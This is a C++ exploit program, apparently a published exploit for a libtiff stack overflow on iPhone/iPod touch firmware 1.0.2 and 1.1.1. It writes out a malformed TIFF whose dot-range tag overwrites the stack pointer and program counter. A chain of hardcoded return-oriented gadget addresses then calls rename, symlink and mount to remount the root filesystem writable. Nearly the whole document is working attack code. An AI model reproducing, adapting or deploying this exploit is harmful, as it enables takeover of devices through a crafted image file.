Exploit for the iTouch/iPhone libtiff vulnerability. This will work on iTouch/iPhone firmware 1.0.2 and 1.1.1.
7900a48bb73cf7d320a24b4a6659a542ab4c1a27be2a82684e47548881923783
/*
Exploit for iTouch/iPhone by Toc2rta ( Dre + Niacin )
Credit for the discovery goes to Tavis
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <vector>
using namespace std;
void
print_pad(int n, char p = '\0')
{
for (int i = 0; i < n; i++)
printf("%c", p);
}
void
print_arr(char *arr, int size)
{
for (int i = 0; i < size; i++)
printf("%c", arr[i]);
}
struct Node
{
typedef enum { VAL, STACK, BYTES, PTR } NodeType;
NodeType type;
union
{
int value;
char bytes[4];
};
Node()
: type(VAL), value(0)
{ }
Node(const Node &_node)
: type(_node.type), value(_node.value)
{ }
Node(int _value, NodeType _type = VAL)
: type(_type), value(_value)
{ }
};
struct Ptr
{
char *str;
Node node;
};
struct Stack
{
Stack(Node &_base, Ptr *_strings)
: base(_base), strings(_strings)
{ }
void Add(Node node)
{
switch (node.type)
{
case Node::BYTES:
base.value += node.value;
break;
case Node::STACK:
node.value += base.value;
// fall through
default:
base.value += 4;
}
stack.push_back(node);
}
void Write()
{
for (int i = 0; strings[i].str; i++)
{
strings[i].node.value = base.value;
base.value += strlen(strings[i].str) + 1;
}
for (vector<Node>::iterator it = stack.begin(), end = stack.end(); it != end; ++it)
{
switch (it->type)
{
case Node::BYTES:
print_pad(it->value, 0x00);
break;
case Node::PTR:
print_arr(strings[it->value].node.bytes, 4);
break;
default:
print_arr(it->bytes, 4);
}
}
for (int i = 0; strings[i].str; i++)
{
print_arr(strings[i].str, strlen(strings[i].str) + 1);
}
}
vector<Node> stack;
Node base;
Ptr *strings;
};
void
build_tif(Node &sp, Node &pc)
{
char tif[] =
{
0x49,0x49, // header
0x2a,0x00, // version
0x1e,0x00,0x00,0x00, // IFD location
0x00,0x00,0x00,0x00, // padding to IFD
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,
0x08,0x00, // 8 tags in the image
0x00,0x01,0x03,0x00,0x01,0x00,0x00,0x00,0x08,0x00,0x00,0x00, // image width = 8,
0x01,0x01,0x03,0x00,0x01,0x00,0x00,0x00,0x08,0x00,0x00,0x00, // image length = 8,
0x03,0x01,0x03,0x00,0x01,0x00,0x00,0x00,0xaa,0x00,0x00,0x00, // samples per pixel = 1
0x06,0x01,0x03,0x00,0x01,0x00,0x00,0x00,0xbb,0x00,0x00,0x00, // photometric interpretation = black(1)
0x11,0x01,0x04,0x00,0x01,0x00,0x00,0x00,0x08,0x00,0x00,0x00, // strip offsets = 8
0x17,0x01,0x04,0x00,0x01,0x00,0x00,0x00,0x15,0x00,0x00,0x00, // strip byte counts = 15
0x1c,0x01,0x03,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00, // planar configuration = 1
0x50,0x01,0x03,0x00,0xff,0x00,0x00,0x00,0x84,0x00,0x00,0x00, // dot range, length = 0xff, offset from start of file 0x84
0x00,0x00,0x00,0x00, // padding to dot range data start
};
print_arr(tif, sizeof(tif));
print_pad(104, 0x00); // padding
print_arr(sp.bytes, 4);
print_pad(12, 0x00); // padding
print_arr(pc.bytes, 4);
}
int
main(int argc, char **argv)
{
if (argc != 2)
{
printf("Usage: %s <1.0.2/1.1.1>\n", argv[0]);
return 1;
}
int version = (!strcmp(argv[1], "1.0.2") ? 0 : 1);
Ptr str[] = {
{ "/var/root/Media", 0 },
{ "/var/root/Oldmedia", 0 },
{ "/", 0 },
{ "hfs", 0 },
{ "/dev/disk0s1", 0 },
{ NULL, 0 }
};
Node base(version == 0 ? 0x0055a638 : 0x006f7638);
Stack stack(base, str);
Node ldmia_r4_r0(version == 0 ? 0x310b668c : 0x3125368c); // ldmia r4!, {r0, r1, r2, r3, r5, r6, r12, sp, lr, pc}
Node ldmia_sp_r4(0x3000adfc); // ldmia sp!, {r4, r7, pc}
Node ldmia_sp_r0(0x300df800); // ldmia sp!, {r0, r1, r2, r3, pc}
Node rename(0x30015530);
Node symlink(0x30027300);
Node mount(0x300267d0);
Node dead(0xdeadbeef);
build_tif(base, ldmia_r4_r0); // set stack base and initial jump
stack.Add(Node(0, Node::PTR)); // r0 = "/var/root/Media"
stack.Add(Node(1, Node::PTR)); // r1 = "/var/root/Oldmedia"
stack.Add(Node(20, Node::BYTES)); // r2,r3,r5,r6,r12
stack.Add(Node(12, Node::STACK)); // sp -> offset 12
stack.Add(ldmia_sp_r4); // lr = load r4,r7,pc from sp
stack.Add(rename); // pc = rename(r0, r1)
stack.Add(Node(12, Node::STACK)); // r4 = sp -> offset 12
stack.Add(Node(4, Node::BYTES)); // r7 = unused
stack.Add(ldmia_r4_r0); // pc = load r0...lr from r4
stack.Add(Node(2, Node::PTR)); // r0 = "/"
stack.Add(Node(0, Node::PTR)); // r1 = "/var/root/Media"
stack.Add(Node(20, Node::BYTES)); // r2,r3,r5,r6,r12
stack.Add(Node(12, Node::STACK)); // sp -> offset 12
stack.Add(ldmia_sp_r0); // lr = load from r0..pc from sp
stack.Add(symlink); // pc = symlink(r0, r1)
stack.Add(Node(3, Node::PTR)); // r0 = "hfs"
stack.Add(Node(2, Node::PTR)); // r1 = "/"
stack.Add(Node(0x00050000, Node::VAL)); // r2 = MNT_RELOAD | MNT_UPDATE
stack.Add(Node(8, Node::STACK)); // r3 = **data
stack.Add(mount); // pc = mount(r0, r1, r2, r3)
stack.Add(Node(4, Node::PTR)); // data = "/dev/disk0s1"
stack.Write();
return 0;
}